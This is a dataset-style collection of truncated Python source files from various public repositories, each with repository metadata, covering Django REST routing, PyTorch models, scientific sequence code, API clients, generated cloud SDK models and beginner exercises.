2020-05-02T15:39:06.656098
2019-04-11T23:49:02
2019-04-11T23:49:02
178,048,315
0
0
null
null
null
null
UTF-8
Python
false
false
55
py
/home/woshington/anaconda3/lib/python3.6/rlcompleter.py
[ "wvs2@cin.ufpe.br" ]
wvs2@cin.ufpe.br
da12dffb6fec332184681c73c6578637a6f5cb99
0726de522b858dbbdbac86c976a0719855ed67e2
/api/urls.py
8c90ce7c770957c4651d426ef4842a85c2b70107
[ "MIT" ]
permissive
gen1us2k/django-example
5cf47e7edec573685fa4a611acb9a3c497483498
6bde1bb492cd6951e8d1b633d236448a0f485e84
refs/heads/master
2021-01-01T05:12:34.720093
2016-05-22T14:37:29
2016-05-22T14:37:29
59,410,183
8
3
null
null
null
null
UTF-8
Python
false
false
404
py
# -*- coding: utf-8 -*- from django.conf.urls import patterns, url, include from rest_framework.routers import DefaultRouter from . import views router = DefaultRouter() router.register('executors', views.ExecutorViewSet, 'executors') router.register('customers', views.CustomerViewSet, 'customers') router.register('t...
[ "minkin.andrew@gmail.com" ]
minkin.andrew@gmail.com
cfd9b2138270784a7756ffc25d5909dc0473608d
a0b6b96f6324532625e64ceee0ae83920c0974c5
/models/unet.py
46c71144c9a425159851292ec1d31cdf68374102
[ "MIT" ]
permissive
bbrangeo/pytorch-image-segmentation
5ebf07055ff1216218b7ef5d4db4f769eb266b21
036236372bd85f48bfe33c6a89d7006fab800387
refs/heads/master
2020-08-17T01:00:38.061447
2019-03-12T15:49:49
2019-03-12T15:49:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,423
py
import torch import torch.nn as nn import torch.nn.functional as F import warnings warnings.filterwarnings("ignore") class Ublock(torch.nn.Module): def __init__(self, in_channels, out_channels, kernel_size=3, padding=1): super().__init__() self.net = torch.nn.Sequential( nn.Conv2d(in_channels, out_channels, ke...
[ "hrm@cin.ufpe.br" ]
hrm@cin.ufpe.br
b0f34c881a1959c5d0174326174bb7dd21c92f3e
b6635c2cc6ce6d17da4d2aed5c17281ff50255ef
/12week/Code10-07.py
4eaa7d992d4a8da07f785e2f1f0164dce629a18c
[]
no_license
mi642/Python_DataStructure
fcebbef7e4dd895eb1c39c3313f8937c92b43896
774c52a6fa7c410d0e00dce5f757c8c4b682710d
refs/heads/master
2023-05-28T15:59:10.409648
2021-06-10T07:16:34
2021-06-10T07:16:34
344,525,660
0
0
null
null
null
null
UTF-8
Python
false
false
188
py
def gugu(dan, num): print("%d x %d = %d" % (dan, num, dan * num)) if (num < 9): gugu(dan, num + 1) for dan in range(2, 10): print("## %d단 ##" % dan) gugu(dan, 1)
[ "emira1239@naver.com" ]
emira1239@naver.com
79e8cc47e84840e0528b0ceb9ba10e560f07f8b0
e22140d66b84b5ad05b6bbc116f224338fd361e1
/assignment5.py
152a33675bd6705db13941ef40b095ead659d99a
[]
no_license
SimranKucheria/PPL-Assignments
958c86859c0965762714e09fce1c564b4a410115
318d5a26da831124067e18b8ff161d7dbe496394
refs/heads/master
2022-07-16T23:47:30.555037
2020-05-18T12:59:17
2020-05-18T12:59:17
264,939,654
0
0
null
null
null
null
UTF-8
Python
false
false
125
py
try: file = open("Assignment.txt","r") for line in file: print(line) except: print("File Doesn't exist")
[ "noreply@github.com" ]
SimranKucheria.noreply@github.com
2993ce92666d43ec9e6a520bf4027609ca676413
221e3afe0ef457c088d9c7725b5a1cc70d77b16e
/base/migrations/0002_remove_category_content.py
418f3ac3266d248bb9952513d02122a2b10c217b
[]
no_license
Rockstreet/titov_base
6615087518b33635da6fec4d73716670c0b25d5a
612d842c423ffc3754e90a463029e9415aacb318
refs/heads/master
2021-01-19T05:22:06.940949
2017-04-12T16:09:06
2017-04-12T16:09:06
87,428,498
0
0
null
null
null
null
UTF-8
Python
false
false
380
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-04-07 09:52 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('base', '0001_initial'), ] operations = [ migrations.RemoveField( model_na...
[ "ivan.tolkachev@gmail.com" ]
ivan.tolkachev@gmail.com
f7818f18a8db54a2d37a4d2062a7d2c5ce841a31
2618895cfc1ccdfc5d2db6e9f6f055ffecb35bf9
/New folder/enemy.py
9ff3ee4843ee716d6884d336e262a6377d80cbb6
[]
no_license
MechGodzilla/tryingbasicrpg
ea26f08012eb2ef9f8bb53ecbc3713178d5d4401
a0729841b8a5e70f647efd7cacfd7bca02858c75
refs/heads/master
2021-01-18T16:38:43.186757
2017-04-12T00:32:13
2017-04-12T00:32:13
86,752,590
0
0
null
null
null
null
UTF-8
Python
false
false
1,165
py
# A better approach to this and the video's method is inheritance, create an Enemy() class as you said above and then have other classes such as # Goblin(Enemy) inherit from the Enemy(object) with the super().__init__() method. # https://stackoverflow.com/questions/23117717/python-super-init-inheritance # from player ...
[ "serpentining@gmail.com" ]
serpentining@gmail.com
15f2bf4dbe2c26ca77bd77f061fe0fada00251f9
005b5c3fd045d59bbe34a54cd6b85904c7443d2e
/arrays_and_strings/group_anagrams.py
e31e11314cd010b194fc4ee29de67c6c3b3b74d6
[]
no_license
karthik4636/practice_problems
84a9d7df6a03adeadea7058024f078c292c70c4a
8e87b10bd77289b891591b770a6f7adc2c00fdf0
refs/heads/master
2021-07-11T15:02:07.484510
2020-06-23T03:41:05
2020-06-23T03:41:05
152,669,329
0
0
null
null
null
null
UTF-8
Python
false
false
713
py
# https://leetcode.com/problems/group-anagrams/ class Solution: def get_dict(self,str): a ={} for i in str: if i not in a: a[i] = 1 else: a[i]+=1 return a def groupAnagrams(self, strs): """ :type strs: List[str]...
[ "karthik4636@gmail.com" ]
karthik4636@gmail.com
f77bf2b8e7706767ba2b4ecf89cd1e873d538f5e
eceec8787ae18d1bac8fef5f115d7a257c00b905
/pageObjects/api/create_board.py
3589a834ee307792f947d159f2b7099cf299646c
[]
no_license
saurabhpiyush1187/qaassigment_oldreq
6ef1e454513f0df56738f290a0aee7a62638e637
cdc35d6841468072d40084a85ef85eb09a358c5e
refs/heads/main
2023-03-06T02:25:22.462982
2021-02-15T08:46:17
2021-02-15T08:46:17
339,042,723
0
0
null
null
null
null
UTF-8
Python
false
false
3,513
py
import os import json from utilities.config_utils import ConfigUtils from core.api.api_helper import RequestBuilder from pageObjects.api.common_utils import CommonUtils from utilities.customLogger import LogGen class CreateBoard: config_utils = ConfigUtils(os.getcwd()) request_builder = RequestBuilder() ...
[ "saurabhpiyush@spglobal.com" ]
saurabhpiyush@spglobal.com
64015cf8bc203dc2e3de671c7244cb1c210ceae3
26e828ef4dfd9b5f27e4e59aa053043ae4971554
/bejay_dev/IoT/get_firebase.py
6be23b02de481966a58ce07980d704898191fed4
[]
no_license
hamzaMahdi/myjay-bot
d29e2000f3e851e690ba3be476d5b682ebb687a3
f38dbabf801856e3d51aa022c05aad4690c1ae2a
refs/heads/main
2023-08-28T03:48:38.292386
2021-11-03T02:00:49
2021-11-03T02:00:49
361,912,501
0
0
null
null
null
null
UTF-8
Python
false
false
476
py
import pyrebase import time config = { #config removed for privacy } firebase = pyrebase.initialize_app(config) db = firebase.database() # while True: # user = db.child("users").get() # print(user.val()) # users def stream_handler(message): print(message["event"]) # put print(message["path"]) # /-K7yGTT...
[ "hamzamahdi96@gmail.com" ]
hamzamahdi96@gmail.com
2d32855077a8fd0594875c11d0c248fa27e1c3d9
df24807455a5bc4db794d79cc88e6bde93d3d404
/HH_glycopeptide - KK testing v2/sequencespace.py
e7d7bfc3a84a3b32c1db46ef3e02d0eb112fb0cd
[]
no_license
GlycReSoft2/glycopeptide-testing
075b594025c95a9c9cfb79fcf802bd326459238f
574bc5b44ef8a562e2676aca24062b04f4bfeb17
refs/heads/master
2021-01-23T11:49:35.306116
2014-05-22T17:33:19
2014-05-22T17:33:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,178
py
from sequence import Sequence from operator import and_ from functools import reduce from modification import Modification from residue import Residue import copy import itertools import warnings class SequenceSpace: """Generate all theoretical glycopeptide sequences""" def __init__(self, seq, g...
[ "mobiusklein@gmail.com" ]
mobiusklein@gmail.com
31e5ebee994f90436a19d50002aded516ef02700
2cb9eb8074c1e7d7a9ae06343b40ccfe178103eb
/modules/encoders/enc_flow.py
21c3382d05234e3c930afdd44e008f4650a28928
[ "MIT" ]
permissive
SmilesDZgk/DU-VAE
aea02cb023e0b285ff85803849ee6f9d44185b99
6c590922a5b634fadff814bd70d05065d584fa9f
refs/heads/master
2023-05-14T09:53:39.399140
2021-06-09T03:38:49
2021-06-09T03:38:49
374,944,013
6
0
null
null
null
null
UTF-8
Python
false
false
14,467
py
from .flow import * import torch from torch import nn import numpy as np import math from ..utils import log_sum_exp class IAFEncoderBase(nn.Module): """docstring for EncoderBase""" def __init__(self): super(IAFEncoderBase, self).__init__() def sample(self, input, nsamples): """sampling ...
[ "sdz@mail.ustc.edu.cn" ]
sdz@mail.ustc.edu.cn
a96327133682df32421991e8d10431e67cf5d8ba
67c69f80aca0306b52ef261dab846cd9466e3bdc
/ros_backup/build/catkin_generated/generate_cached_setup.py
840864541e4626d3f7f53e8b8e5035def94fa65b
[ "MIT" ]
permissive
zhenguo77555344/Final-System-Integrated
29842508e4e72bc4e190b584c535c9c49baaea6d
4ebb96d9d6ac4be751c93ada8a1b3358b4327a66
refs/heads/master
2022-11-28T14:41:40.504183
2019-10-08T14:30:47
2019-10-08T14:30:47
203,168,176
0
2
MIT
2022-11-22T00:23:14
2019-08-19T12:27:45
Makefile
UTF-8
Python
false
false
1,332
py
# -*- coding: utf-8 -*- from __future__ import print_function import argparse import os import stat import sys # find the import for catkin's python package - either from source space or from an installed underlay if os.path.exists(os.path.join('/opt/ros/kinetic/share/catkin/cmake', 'catkinConfig.cmake.in')): sys....
[ "pricss@126.com" ]
pricss@126.com
63198985bafcfb41ecc400d469fc3f150a976001
849098b8e3df53d9c93e876a51ba2e21ad4a44f3
/133_clone_graph.py
8ff57f2cf898727e4914a9cd094a99c7786db543
[]
no_license
Elsa1024/leetcode_java
ee4816a6ad5f9ac656d138cb576ffcc9e7c30184
d2bb7f25093a4b0c483bc21fe86abc19109e9198
refs/heads/master
2020-03-08T04:49:43.367068
2018-10-27T18:06:21
2018-10-27T18:06:21
127,932,147
0
0
null
null
null
null
UTF-8
Python
false
false
988
py
# Definition for a undirected graph node # class UndirectedGraphNode: # def __init__(self, x): # self.label = x # self.neighbors = [] class Solution: # @param node, a undirected graph node # @return a undirected graph node def cloneGraph(self, node): if not node: ret...
[ "daichenwei.elsa@gmail.com" ]
daichenwei.elsa@gmail.com
aa531698ea829e073948d5c654cd6ff720fe9157
4f3b1bd644704057a3aa0352f55ef91df4eef811
/Data Collection/Goodreads image collector.py
1e00f76ec06cf6bb8a6b9aa29c796914d075d6a5
[]
no_license
JieyuZhang97/Goodreads-book-analysis
4f97f069c92fe70a4df4443f84bd216550fdc256
a3c08670cd862f33d63d820fa1c0cabba8fce7dc
refs/heads/master
2023-03-26T08:52:38.538447
2021-03-29T15:59:34
2021-03-29T15:59:34
346,068,399
0
0
null
2021-03-29T15:59:35
2021-03-09T16:19:05
null
UTF-8
Python
false
false
449
py
import pandas as pd import wget import os book_data=pd.read_csv('book_data.csv') PATH='C:\\Python\\Python37-32\\Scripts\\code\\images\\' files=os.listdir(PATH) n=0 if len(files)>0: n=max([int(f[:-4]) for f in os.listdir(PATH)])+1 for i in range(n, len(book_data)): url=book_data.at[i, 'image_url'] ...
[ "noreply@github.com" ]
JieyuZhang97.noreply@github.com
9d2526cae7bd917776f5296b7f9d34911fff966f
b56ecb98160317ac8fc17d41b033432bf2c85155
/Source/Pre-processing/data_analysis.py
8ac61178eb1638df814e32afeb14060b9fd2a321
[]
no_license
harika2050/Samsung
19c2a52482a852a06181448b2121dfc73e384ba2
aa798078684dcee2009f95504ad3a7f65fb31447
refs/heads/master
2020-07-26T20:57:23.079598
2019-10-23T06:09:02
2019-10-23T06:09:02
208,763,862
0
0
null
2019-09-16T09:41:53
2019-09-16T09:41:53
null
UTF-8
Python
false
false
187
py
import collections import re import sys import time from collections import Counter from nltk import ngrams ngram_counts = Counter(ngrams(bigtxt.split(), 2)) ngram_counts.most_common(10)
[ "root@instance-1.asia-south1-b.c.swift-icon-249114.internal" ]
root@instance-1.asia-south1-b.c.swift-icon-249114.internal
21eb5886424c9971925aa7c5d3ea745ac1508863
3b6c20ca891807eb5533552837cf0614d878d284
/code/buildnet/predict.py
35aed0cad04d5ed3246514626b2fa8dd30bccd02
[]
no_license
stupidjoey/baidu_bigdata
99d296f833c9dcb9da414efeb4053e8fdd391e6a
80504e16a226f74f8fd7e849fd8b58f412900a35
refs/heads/master
2021-01-10T03:30:14.178984
2015-08-10T10:34:34
2015-08-10T10:34:34
36,113,209
1
0
null
null
null
null
UTF-8
Python
false
false
1,935
py
# !/usr/bin/env python # -*- coding: utf-8 -*- import datetime import os import re import pickle def main(): starttime = datetime.datetime.now() path = os.path.abspath('.') path = path.split('/') basepath = "/".join(path[:-2]) netfile = open( os.path.join(basepath,'data/relation_net.pkl')) r...
[ "stupidzy1991@gmail.com" ]
stupidzy1991@gmail.com
f5fc8e92c120225f2d0fffe4c1995837f5ae5838
0a3b930df060f54ae260508a1cb09e68a4e01020
/nibabel/nicom/dicomwrappers.py
883541b09cbd8ea85be291b8670b84b767fdbcc3
[]
no_license
llcmgh/slicer_tract_querier
bc8b49bea2c64fa578d18dcaaed5d0e1cfd0d4ff
41c96fb079eb9e046ac3efa45f82ac2dce7dcc5d
refs/heads/master
2016-09-09T17:23:53.620717
2014-01-24T00:52:16
2014-01-24T00:52:16
14,962,648
0
1
null
null
null
null
UTF-8
Python
false
false
31,391
py
""" Classes to wrap DICOM objects and files The wrappers encapsulate the capabilities of the different DICOM formats. They also allow dictionary-like access to named fields. For calculated attributes, we return None where needed data is missing. It seemed strange to raise an error during attribute processing, other ...
[ "lichenliang@Lichens-MacBook-Air.local" ]
lichenliang@Lichens-MacBook-Air.local
90af3f4c9e051e9b5c8261ceac9771dd3b23fc42
d7b83b50027c34bdbd0b2bad3a8b3d0937dc9229
/bokeh_project/bokeh_display_export.py
488179c36e51395f42338d7a5da5239e9b0125d6
[]
no_license
6oghyan/data_science_for_everyone
be1468f236708a9384f40e6f8fbf5f97db905c6b
3065e8e4c1112913493958687d0af99301a1773d
refs/heads/main
2023-08-30T11:08:04.728007
2021-11-03T18:34:39
2021-11-03T18:34:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
392
py
from bokeh.plotting import figure, output_file, save from bokeh.io import export_svg x = list(range(11)) y = [abs(10 - i) for i in x] # output to static HTML file output_file(filename="HERE IS MY NEW FILE.html", title="HTML FILE") p = figure(sizing_mode="stretch_width", max_width=500, max_height=250) p.circle(x, y,...
[ "markumreed@gmail.com" ]
markumreed@gmail.com
60880a65d205b0aa41d8738ea420c2ebfb5ebad8
84b584038550cb75f1863574ae646c2a287a3fcc
/PPPForgivenessSDK/loan_documents.py
f6643aaa32f1ce5e24ee3b891ed91b70c810dbf6
[]
no_license
rsmith0717/lc-coding-challenge
5a07171920a3b24d4d847f58dc9ede89154857c3
de308fe72d6c8705a90cdfca9c03e009e70846f1
refs/heads/master
2023-03-02T12:51:33.726056
2021-02-15T18:28:27
2021-02-15T18:28:27
339,170,389
0
0
null
null
null
null
UTF-8
Python
false
false
935
py
import json from .base_api import BaseApi, UnknownException class LoanDocumentsApi(BaseApi): def create(self, name, document_type, etran_loan, document): """ :param name: :param document_type: :param etran_loan: :param document: :return: """ http_me...
[ "rodericks@ineedamaid.com" ]
rodericks@ineedamaid.com
e5c52f925a0fab9388230c7329c217af4f1a1907
8b8fa2f20a33b4c6f02f0138f8f77d578e927fd2
/argo/workflows/client/models/v1_pod_affinity_term.py
9030434dfd3d44163e50d3eda6f1981b88d6a291
[ "Apache-2.0", "MIT" ]
permissive
jakedsouza/argo-client-python
1fa3c8489d961090f6ee3604befb9b695ac8c91b
12e3159b297ed16479adf67c5e5daffab6e83897
refs/heads/master
2023-01-21T14:06:04.115524
2020-11-28T22:48:26
2020-11-28T22:48:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,260
py
# coding: utf-8 """ Argo Server API You can get examples of requests and responses by using the CLI with `--gloglevel=9`, e.g. `argo list --gloglevel=9` # noqa: E501 The version of the OpenAPI document: v2.11.8 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 ...
[ "noreply@github.com" ]
jakedsouza.noreply@github.com
43a1bcb706a6017d2eb7a5ce6899634284cba09e
e36c1798a2089a7a0a2a59a394ed8a025db8358b
/synbyt/urls.py
d8e21808edc495eaec82e093b6806bf32cf61bef
[]
no_license
actstylo/synbyt2
d81286689051a02b34abd4890332e37f28b83b43
d891a4d1bc460a08157f7bfd6c44ab5d716ed726
refs/heads/master
2020-03-17T03:11:02.908786
2018-05-13T09:42:35
2018-05-13T09:42:35
133,224,086
1
0
null
2018-05-13T09:46:05
2018-05-13T09:46:04
null
UTF-8
Python
false
false
2,382
py
from django.conf import settings from django.conf.urls import include, url from django.contrib import admin from django.conf.urls.static import static from django.contrib.auth import views as auth_views from synbytapp import views from accounts import views as accounts_views from django.conf.urls import ( handler400,...
[ "spaceled@gmail.com" ]
spaceled@gmail.com
2409997bcdd70bd01cfbf1426549351da8a013c4
8fcfb384245d9b36a6c5a3bab55dc3101da52627
/App_login/migrations/0001_initial.py
5dc2222836670c23baaae5e019a21f9a06600ef9
[]
no_license
Maloy-Baroi/Kashfi-Jakaria
faa96e874cae8132ddb3117de0fe1c756b570da5
ea574b4bdc5a2dd15c02c2f9bcc9e339982841b7
refs/heads/main
2023-04-27T19:20:03.199894
2021-05-01T16:11:29
2021-05-01T16:11:29
363,450,175
0
0
null
null
null
null
UTF-8
Python
false
false
3,321
py
# Generated by Django 3.2 on 2021-04-07 02:42 import django.contrib.auth.models import django.contrib.auth.validators from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): initial = True dependencies = [ ('auth', '0012_alter_user_first_name_max...
[ "teamexplorer171@gmail.com" ]
teamexplorer171@gmail.com
57b2cd00a87e389e7a38f77e87aeadee7dc8413d
a0a0932b6ab6ec47c2757d8929216790f5bc6535
/import_productitem.py
7c614f08aadb009ebc8072d22b30f9530d115aa9
[]
no_license
lianglunzhong/latte-erp
b4e6e3b13c4bce17911ff166fecc36172e0bea5b
b58936c8d9917f3efdcb3585c54bfd3aba4723c2
refs/heads/master
2022-11-27T03:08:23.780124
2017-04-28T02:51:43
2017-04-28T02:51:43
89,660,834
0
0
null
2022-11-22T01:04:12
2017-04-28T02:48:50
Python
UTF-8
Python
false
false
3,751
py
# -*- coding: utf-8 -*- import datetime from django.utils import timezone import sys, os reload(sys) sys.setdefaultencoding('utf-8') import csv sys.path.append(os.getcwd()) os.environ['DJANGO_SETTINGS_MODULE'] = 'project.settings' import django django.setup() from product.models import * from order.models import * ...
[ "liang.lunzhong@wxzeshang.com" ]
liang.lunzhong@wxzeshang.com
422b9b9dea57e7b36524f766a58b150170c93d89
68fd6dedf67e67f567475b06dd209b1c62a4c1aa
/app.py
a8d7a4cb550323ef5a9c361db2b0b44aeda04bf0
[]
no_license
cassandrazhou/bubble_sort
766b1fd6dafa47808a5f878dd66bbf890da78f58
8b2480df5d72bba8a7565b9b9aa3f8ab6e902a21
refs/heads/main
2023-07-08T05:53:22.855317
2021-08-21T13:57:04
2021-08-21T13:57:04
398,570,448
0
0
null
null
null
null
UTF-8
Python
false
false
514
py
import bubble_sort import time L = [2, 5, 31, 6, 8, 4, 7, 9, 1, 42, 52, 35, 100, 11, 0, 13, 19, 71, 47, 3089, 231, 482, 91238, 432, 43, 6, 87, 33, 57, 981, 24, 19, 22, 1001] start_long = time.time() bubble_sort.BubbleSort_long(L) end_long = time.time() print("The LONG version of BubbleSort took {} seconds.".format(en...
[ "noreply@github.com" ]
cassandrazhou.noreply@github.com
b2221a99054c2bd032ff2e756d2c70e772bb434b
233b2958c853dc57dfa5d54caddbc1520dcc35c8
/ava/runtime/config.py
4e76f2a43ffde0aeb8268ac973bff3b13fc8e9f6
[]
no_license
eavatar/ava.node
6295ac6ed5059ebcb6ce58ef6e75adf1bfa24ed7
71e3304d038634ef13f44d245c3838d276a275e6
refs/heads/master
2021-01-19T06:13:01.127585
2015-06-03T03:10:59
2015-06-03T03:10:59
33,645,210
0
0
null
null
null
null
UTF-8
Python
false
false
1,473
py
# -*- coding: utf-8 -*- """ Configuration file reading/writing. """ from __future__ import absolute_import, division, print_function, \ unicode_literals import codecs import logging import logging.config import os.path from string import Template from yaml import load, dump try: from yaml import CLoader as ...
[ "sam@eavatar.com" ]
sam@eavatar.com
dcd47627904d58842a015087332ea70bcf3781d8
62d61baf359eefbd77ca630bac3042132f41e710
/randomforest.py
36e3502ed48c5c7053ed59f32178d6592ce24dd9
[]
no_license
garou99/petadoption
6723084b862561eb5377a49f0066b4405ee8a7de
a84f934256d2367964abe177bda95dbe3796e856
refs/heads/master
2023-03-12T06:16:03.703674
2021-02-20T17:19:45
2021-02-20T17:19:45
340,438,598
0
0
null
null
null
null
UTF-8
Python
false
false
1,770
py
import pandas as pd import numpy as np import matplotlib.pyplot as plt dataset1=pd.read_csv("train.csv") dataset2=pd.read_csv("test.csv") y1=dataset1["breed_category"] y2=dataset1["pet_category"] dataset1.drop(["breed_category","pet_category"],axis=1,inplace=True) dataset=pd.concat((dataset1,dataset2)).reset_index(dro...
[ "vaibhavvashist9999@gmail.com" ]
vaibhavvashist9999@gmail.com
6fe1caf5a0fd9e62133dffde475eb704b5b0b5ee
6d9112d77b2864ac2d4b8b3135149f1c8eb07901
/leadership_styles/migrations/0001_initial.py
c4b1c9c95e1993a8180603efaf6d4fc64868b520
[]
no_license
predictable-success/predictable_success
77b880cefe0fe363572bc43f72ac558c405c820e
7cdbdcd5686781b4ac8bf4a3cd60c34ac4cee0f5
refs/heads/master
2021-01-19T01:09:10.251217
2017-05-05T17:39:29
2017-05-05T17:39:29
64,931,697
0
0
null
null
null
null
UTF-8
Python
false
false
3,323
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import datetime class Migration(migrations.Migration): dependencies = [ ('org', '0001_initial'), ] operations = [ migrations.CreateModel( name='Answer', field...
[ "mcmahon.nate@gmail.com" ]
mcmahon.nate@gmail.com
23ff794c191939821dfe1e0a1e6ee0c35f90e884
e5e2b7da41fda915cb849f031a0223e2ac354066
/sdk/python/pulumi_azure_native/desktopvirtualization/v20201019preview/application_group.py
2faebd8d2ef7474036d1b9203e874ce21b32a2a9
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
johnbirdau/pulumi-azure-native
b7d3bdddeb7c4b319a7e43a892ddc6e25e3bfb25
d676cc331caa0694d8be99cb90b93fa231e3c705
refs/heads/master
2023-05-06T06:48:05.040357
2021-06-01T20:42:38
2021-06-01T20:42:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,527
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities fro...
[ "noreply@github.com" ]
johnbirdau.noreply@github.com
cffdbf9595a022545dadfca42fab82415426fe39
3a186f09753b63e87c0502e88f33c992f561e403
/luna.py
d4c01d34900662ee4390cb280d3b936b4890d6b7
[]
no_license
qwergram/cio2016_server
88d98e217d7f1cc1415b14a4804b9a4417d1143b
071efd99bad8635031c74409dab949aae1a5d384
refs/heads/master
2021-01-10T04:50:34.105495
2016-03-06T09:44:49
2016-03-06T09:44:49
53,247,659
0
0
null
null
null
null
UTF-8
Python
false
false
6,481
py
import bottle import os import sqlite3 import json class CRUD: def __init__(self, location='/etc/luna/'): self.location = location self.reset() def reset(self): with open(self.location + 'active.sqlite3', 'w') as r: r.write('') self.conn = sqlite3.connect(self.loca...
[ "npengra317@gmail.com" ]
npengra317@gmail.com
ed25c19719c15e6a359c0cb01b3711f8f78c1661
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2734/59137/312747.py
32ed5d4dbf4a1e4cb7db8a81634c5d8d187dd4ec
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
595
py
s = input() if s == "5 3 5": print(2) print(0) print(0) print(1) print(0) elif s == "8 3 5": s1 = input() s2 = input() s3 = input() if s3 == "6 8": print(1) print(1) print(2) print(2) print(1) elif s3 == "1 8": print(1) prin...
[ "1069583789@qq.com" ]
1069583789@qq.com
0abeb1ecbe3ec05118e93efc7ffd1dfa6fc1f75c
13136073d63b4bc7453fcf13246e1883bb5393d8
/Chapter 4/praktikum 2_ch4.py
cceb5785fe830640dfaa69db943dc8a42279008d
[]
no_license
hakikialqorni88/Pemrograman-Terstruktur-Python
195ea90fafa9669072299554ea13f284eacbbf7b
c94460d5f03fe92ae9fce8673b370a9b59212130
refs/heads/main
2023-09-01T21:23:52.500543
2021-10-29T02:18:56
2021-10-29T02:18:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
889
py
#!/usr/bin/env python # coding: utf-8 # In[1]: x = 10 print(type(x)) y = 20 print(type(y)) print(type(x+y)) # In[2]: a = 2 b = 2.53 print(type(a+a)) print(type(a+b)) print(type(b+a)) print(type(b+b)) # In[3]: a = 2 b = 2.53 print(type(a-a)) print(type(a-b)) print(type(b-a)) print(type(b-b)) # In[4]: a = ...
[ "zkhalilas1524@student.uns.ac.id" ]
zkhalilas1524@student.uns.ac.id
eeaaa139e0109ebdb3e9710312a50822de2d9e0d
572e5610f2f1761f2e0a8f4ed32d343875953400
/DQN-data(keras).py
0b07684e2051934f294d226fae8312e0b04dbbc7
[]
no_license
boweiww/deeplearn
cb218e95bfd5f23329d25699427c417f5d00e501
2b3271641ac5ac2cb97cd660667ac666748e72e6
refs/heads/master
2020-03-16T21:55:51.810439
2018-06-14T08:41:10
2018-06-14T08:41:10
133,019,987
0
0
null
null
null
null
UTF-8
Python
false
false
5,249
py
# -*- coding: utf-8 -*- import random import numpy as np import pandas as pd from collections import deque from keras.models import Sequential from keras.layers import Dense from keras.optimizers import Adam class DQNdata: def __init__(self, train_file, test_file, select, action_size): df = pd.read_excel...
[ "noreply@github.com" ]
boweiww.noreply@github.com
beb5c3be2bc54eca4648287d0e313602e9dd7784
e02076b60f308e5f6efb3e0094ad6a7c3f6bd35d
/modules/shopping_cart/views.py
1c615dc88c8a3e4b5f3cdb4c2f8601ac9ae7a81d
[]
no_license
omerjaved11/Recommender-System-for-E-Commerce
45c94c9c86ff9e2c0067c882695ec723460dc154
61334b98c90ca347ca37b1ae34f2a077f11d4de8
refs/heads/master
2022-12-10T12:58:44.203655
2019-08-07T19:13:01
2019-08-07T19:13:01
201,105,788
1
0
null
2022-12-08T01:22:46
2019-08-07T18:25:14
CSS
UTF-8
Python
false
false
3,261
py
import decimal from django.shortcuts import render from modules.shopping_cart.models import ShoppingCart , ShoppingCartEntry from modules.products.models import Product from django.views.decorators.csrf import csrf_exempt from django.http import HttpResponse import json # Create your views here. def cart_home(request):...
[ "omerjaved11@gmail.com" ]
omerjaved11@gmail.com
9d4e7fc8427792e6dd0a07c2fd7cb318a44bd276
366600915529372ffd9e2a5b9a7270ac8f481528
/kthSmallestElement.py
dd4031ca9db5ade9d17d3cea4e14994be76e29fc
[]
no_license
ManishSkr/Heap-
b66a111c3f8a724fd055e39d30508980497ddf3a
dbf00454cfc3a2c216310cabe2bfeb8197662d5c
refs/heads/master
2023-07-17T18:12:50.762647
2021-08-31T14:40:44
2021-08-31T14:40:44
401,735,257
0
0
null
null
null
null
UTF-8
Python
false
false
268
py
"""This is the variation of heap where we find the kth smallest element""" import heapq def kSmallest(arr,k): heapq.heapify(arr) return heapq.nsmallest(k,arr) arr=[7,10,4,3,20,15] k=3 print("The kth largest element is ",end="") print(kSmallest(arr,k)[-1])
[ "manish.swarnakar15gmail.com" ]
manish.swarnakar15gmail.com
c3c2e1765d1bba94bdd66964e9975ff2406e56d9
f67df6742d1bfb02682e5b41230784aa65fcc3c4
/0x07-python-test_driven_development/tests/6-max_integer_test.py
5491cb30c94fe444f088972f476ded78d9e4b283
[]
no_license
duvanjm/holbertonschool-higher_level_programming
66f3224127e0e4ae61b9e6ef47436bcd1754e56e
d6f1f249cd7a1086534d999b489c4c85fbc67031
refs/heads/master
2023-06-15T06:50:51.833688
2021-07-07T20:10:23
2021-07-07T20:10:23
259,381,384
2
0
null
null
null
null
UTF-8
Python
false
false
258
py
#!/usr/bin/python3 """Unittest for max_integer([..]) """ import unittest max_integer = __import__('6-max_integer').max_integer class TestMaxInteger(unittest.TestCase): def test_max_integer(self): self.assertEqual(max_integer([1, 2, 3, 4]), 4)
[ "duvanjarin@gmail.com" ]
duvanjarin@gmail.com
6311b8ddb68b3b2a23420e5919a3a7a201da659a
4ccff5211052c0682b71196596dddc9457d5ce28
/Ejercicio 2.23.py
279ace974d4e1d690b7bc3b8a274d0759bb1566f
[]
no_license
Juanmi-7/Prueba
62767ce77025ce836d0597eaab228a86bb78930e
259c911608c7ff65c043dafcedc1de1f4c765ce7
refs/heads/master
2020-08-27T22:37:40.554644
2019-10-25T10:15:52
2019-10-25T10:15:52
217,507,609
0
0
null
null
null
null
UTF-8
Python
false
false
630
py
